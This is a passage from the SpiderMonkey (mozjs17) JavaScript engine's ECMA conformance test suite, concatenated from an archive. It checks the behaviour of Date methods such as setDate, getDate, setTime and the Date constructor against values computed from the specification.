DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.32-1.js0000664000175000017500000001045312106270663020411 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.32-1.js ECMA Section: 15.9.5.32 Date.prototype.setDate(date) Description: 1. Let t be the result of LocalTime(this time value). 2. Call ToNumber(date). 3. Compute MakeDay(YearFromTime(t), MonthFromTime(t), Result(2)). 4. Compute UTC(MakeDate(Result(3), TimeWithinDay(t))). 5. Set the [[Value]] property of the this value to TimeClip(Result(4)). 6. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.32-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setDate(date) "); addNewTestCase( 0, 1, "TDATE = new Date(0);(TDATE).setDate(1);TDATE" ); test(); function addNewTestCase( t, d, DateString ) { var DateCase = new Date( t ); DateCase.setDate( d ); var UTCDate = UTCDateFromTime(SetDate(t, d)); var LocalDate=LocalDateFromTime(SetDate(t,d)); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetDate( t, date ) { var T = LocalTime( t ); var DATE = Number( date ); var RESULT3 = MakeDay(YearFromTime(T), MonthFromTime(T), DATE ); var UTC_DATE = UTC( MakeDate(RESULT3, TimeWithinDay(T)) ); return ( TimeClip(UTC_DATE) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-12.js0000664000175000017500000000264512106270663020473 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); // some daylight savings time cases var DST_END_1998 = GetDSTEnd(TimeFromYear(1998)); addTestCase( DST_END_1998-1 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-10.js0000664000175000017500000000265312106270663020470 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); // some daylight savings time cases var DST_START_1998 = GetDSTStart(TimeFromYear(1998)); addTestCase( DST_START_1998+1 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-6.js0000664000175000017500000000257012106270663020413 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_FEB_29_2000 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.8-4.js0000664000175000017500000001241012106270663020330 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.8.js ECMA Section: 15.9.3.8 The Date Constructor new Date( value ) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial valiue of Date.prototype. The [[Class]] property of the newly constructed object is set to "Date". The [[Value]] property of the newly constructed object is set as follows: 1. Call ToPrimitive(value) 2. If Type( Result(1) ) is String, then go to step 5. 3. Let V be ToNumber( Result(1) ). 4. Set the [[Value]] property of the newly constructed object to TimeClip(V) and return. 5. Parse Result(1) as a date, in exactly the same manner as for the parse method. Let V be the time value for this date. 6. Go to step 4. Author: christine@netscape.com Date: 28 october 1997 Version: 9706 */ var VERSION = "ECMA_1"; startTest(); var SECTION = "15.9.3.8"; var TYPEOF = "object"; var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; // for TCMS, the gTestcases array must be global. var gTc= 0; var TITLE = "Date constructor: new Date( value )"; var SECTION = "15.9.3.8"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION +" " + TITLE ); // all the "ResultArrays" below are hard-coded to Pacific Standard Time values - var TZ_ADJUST = -TZ_PST * msPerHour; // Dates around Feb 29, 2000 var PST_FEB_29_2000 = UTC_FEB_29_2000 + TZ_ADJUST; addNewTestCase( new Date(UTC_FEB_29_2000), "new Date("+UTC_FEB_29_2000+")", [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0] ); addNewTestCase( new Date(PST_FEB_29_2000), "new Date("+PST_FEB_29_2000+")", [PST_FEB_29_2000,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] ); addNewTestCase( new Date( (new Date(UTC_FEB_29_2000)).toString() ), "new Date(\""+(new Date(UTC_FEB_29_2000)).toString()+"\")", [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0] ); addNewTestCase( new Date( (new Date(PST_FEB_29_2000)).toString() ), "new Date(\""+(new Date(PST_FEB_29_2000)).toString()+"\")", [PST_FEB_29_2000,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] ); addNewTestCase( new Date( (new Date(UTC_FEB_29_2000)).toGMTString() ), "new Date(\""+(new Date(UTC_FEB_29_2000)).toGMTString()+"\")", [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0] ); addNewTestCase( new Date( (new Date(PST_FEB_29_2000)).toGMTString() ), "new Date(\""+(new Date(PST_FEB_29_2000)).toGMTString()+"\")", [PST_FEB_29_2000,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray, 'msMode'); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.1-1.js0000664000175000017500000001764712106270663020337 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.1.js ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial value of Date.prototype. The [[Class]] property of the newly constructed object is set as follows: 1. Call ToNumber(year) 2. Call ToNumber(month) 3. Call ToNumber(date) 4. Call ToNumber(hours) 5. Call ToNumber(minutes) 6. Call ToNumber(seconds) 7. Call ToNumber(ms) 8. If Result(1) is NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1) 9. Compute MakeDay(Result(8), Result(2), Result(3) 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7) 11. Compute MakeDate(Result(9), Result(10)) 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11))). This tests the returned value of a newly constructed Date object. Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.9.3.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "new Date( year, month, date, hours, minutes, seconds, ms )"; var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; writeHeaderToLog( SECTION + " "+ TITLE); // Dates around 1970 addNewTestCase( new Date( 1969,11,31,15,59,59,999), "new Date( 1969,11,31,15,59,59,999)", [TIME_1970-1,1969,11,31,3,23,59,59,999,1969,11,31,3,15,59,59,999] ); addNewTestCase( new Date( 1969,11,31,23,59,59,999), "new Date( 1969,11,31,23,59,59,999)", [TIME_1970-PST_ADJUST-1,1970,0,1,4,7,59,59,999,1969,11,31,3,23,59,59,999] ); addNewTestCase( new Date( 1970,0,1,0,0,0,0), "new Date( 1970,0,1,0,0,0,0)", [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); addNewTestCase( new Date( 1969,11,31,16,0,0,0), "new Date( 1969,11,31,16,0,0,0)", [TIME_1970,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] ); addNewTestCase( new Date(1969,12,1,0,0,0,0), "new Date(1969,12,1,0,0,0,0)", [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); addNewTestCase( new Date(1969,11,32,0,0,0,0), "new Date(1969,11,32,0,0,0,0)", [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); addNewTestCase( new Date(1969,11,31,24,0,0,0), "new Date(1969,11,31,24,0,0,0)", [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); addNewTestCase( new Date(1969,11,31,23,60,0,0), "new Date(1969,11,31,23,60,0,0)", [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); addNewTestCase( new Date(1969,11,31,23,59,60,0), "new Date(1969,11,31,23,59,60,0)", [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); addNewTestCase( new Date(1969,11,31,23,59,59,1000), "new Date(1969,11,31,23,59,59,1000)", [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); // Dates around 2000 addNewTestCase( new Date( 1999,11,31,15,59,59,999), "new Date( 1999,11,31,15,59,59,999)", [TIME_2000-1,1999,11,31,5,23,59,59,999,1999,11,31,5,15,59,59,999] ); addNewTestCase( new Date( 1999,11,31,16,0,0,0), "new Date( 1999,11,31,16,0,0,0)", [TIME_2000,2000,0,1,6,0,0,0,0,1999,11,31,5, 16,0,0,0] ); addNewTestCase( new Date( 1999,11,31,23,59,59,999), "new Date( 1999,11,31,23,59,59,999)", [TIME_2000-PST_ADJUST-1,2000,0,1,6,7,59,59,999,1999,11,31,5,23,59,59,999] ); addNewTestCase( new Date( 2000,0,1,0,0,0,0), "new Date( 2000,0,1,0,0,0,0)", [TIME_2000-PST_ADJUST,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] ); addNewTestCase( new Date( 2000,0,1,0,0,0,1), "new Date( 2000,0,1,0,0,0,1)", [TIME_2000-PST_ADJUST+1,2000,0,1,6,8,0,0,1,2000,0,1,6,0,0,0,1] ); // Dates around 29 Feb 2000 addNewTestCase( new Date(2000,1,28,16,0,0,0), "new Date(2000,1,28,16,0,0,0)", [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0] ); addNewTestCase( new Date(2000,1,29,0,0,0,0), "new Date(2000,1,29,0,0,0,0)", [UTC_FEB_29_2000-PST_ADJUST,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] ); addNewTestCase( new Date(2000,1,28,24,0,0,0), "new Date(2000,1,28,24,0,0,0)", [UTC_FEB_29_2000-PST_ADJUST,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] ); // Dates around 1900 addNewTestCase( new Date(1899,11,31,16,0,0,0), "new Date(1899,11,31,16,0,0,0)", [TIME_1900,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] ); addNewTestCase( new Date(1899,11,31,15,59,59,999), "new Date(1899,11,31,15,59,59,999)", [TIME_1900-1,1899,11,31,0,23,59,59,999,1899,11,31,0,15,59,59,999] ); addNewTestCase( new Date(1899,11,31,23,59,59,999), "new Date(1899,11,31,23,59,59,999)", [TIME_1900-PST_ADJUST-1,1900,0,1,1,7,59,59,999,1899,11,31,0,23,59,59,999] ); addNewTestCase( new Date(1900,0,1,0,0,0,0), "new Date(1900,0,1,0,0,0,0)", [TIME_1900-PST_ADJUST,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] ); addNewTestCase( new Date(1900,0,1,0,0,0,1), "new Date(1900,0,1,0,0,0,1)", [TIME_1900-PST_ADJUST+1,1900,0,1,1,8,0,0,1,1900,0,1,1,0,0,0,1] ); // Dates around 2005 addNewTestCase( new Date(2005,0,1,0,0,0,0), "new Date(2005,0,1,0,0,0,0)", [UTC_JAN_1_2005-PST_ADJUST,2005,0,1,6,8,0,0,0,2005,0,1,6,0,0,0,0] ); addNewTestCase( new Date(2004,11,31,16,0,0,0), "new Date(2004,11,31,16,0,0,0)", [UTC_JAN_1_2005,2005,0,1,6,0,0,0,0,2004,11,31,5,16,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-10.js0000664000175000017500000001032312106270663020465 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-1.js ECMA Section: 15.9.5.23 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " Date.prototype.setTime(time)"); var now = "now"; addTestCase( now, -2208988800000 ); test(); function addTestCase( startTime, setTime ) { if ( startTime == "now" ) { DateCase = new Date(); } else { DateCase = new Date( startTime ); } DateCase.setTime( setTime ); var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ; var UTCDate = UTCDateFromTime ( Number(setTime) ); var LocalDate = LocalDateFromTime( Number(setTime) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.2-3.js0000664000175000017500000001123512106270663020325 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.1.js ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial value of Date.prototype. The [[Class]] property of the newly constructed object is set as follows: 1. Call ToNumber(year) 2. Call ToNumber(month) 3. Call ToNumber(date) 4. Call ToNumber(hours) 5. Call ToNumber(minutes) 6. Call ToNumber(seconds) 7. Call ToNumber(ms) 8. If Result(1)is NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1) 9. Compute MakeDay(Result(8), Result(2), Result(3) 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7) 11. Compute MakeDate(Result(9), Result(10)) 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11))). This tests the returned value of a newly constructed Date object. Author: christine@netscape.com Date: 7 july 1997 */ var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; // for TCMS, the gTestcases array must be global. var SECTION = "15.9.3.1"; var TITLE = "Date( year, month, date, hours, minutes, seconds )"; writeHeaderToLog( SECTION+" " +TITLE ); // Dates around 1900 addNewTestCase( new Date(1899,11,31,16,0,0), "new Date(1899,11,31,16,0,0)", [-2208988800000,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] ); addNewTestCase( new Date(1899,11,31,15,59,59), "new Date(1899,11,31,15,59,59)", [-2208988801000,1899,11,31,0,23,59,59,0,1899,11,31,0,15,59,59,0] ); addNewTestCase( new Date(1900,0,1,0,0,0), "new Date(1900,0,1,0,0,0)", [-2208960000000,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] ); addNewTestCase( new Date(1900,0,1,0,0,1), "new Date(1900,0,1,0,0,1)", [-2208959999000,1900,0,1,1,8,0,1,0,1900,0,1,1,0,0,1,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new 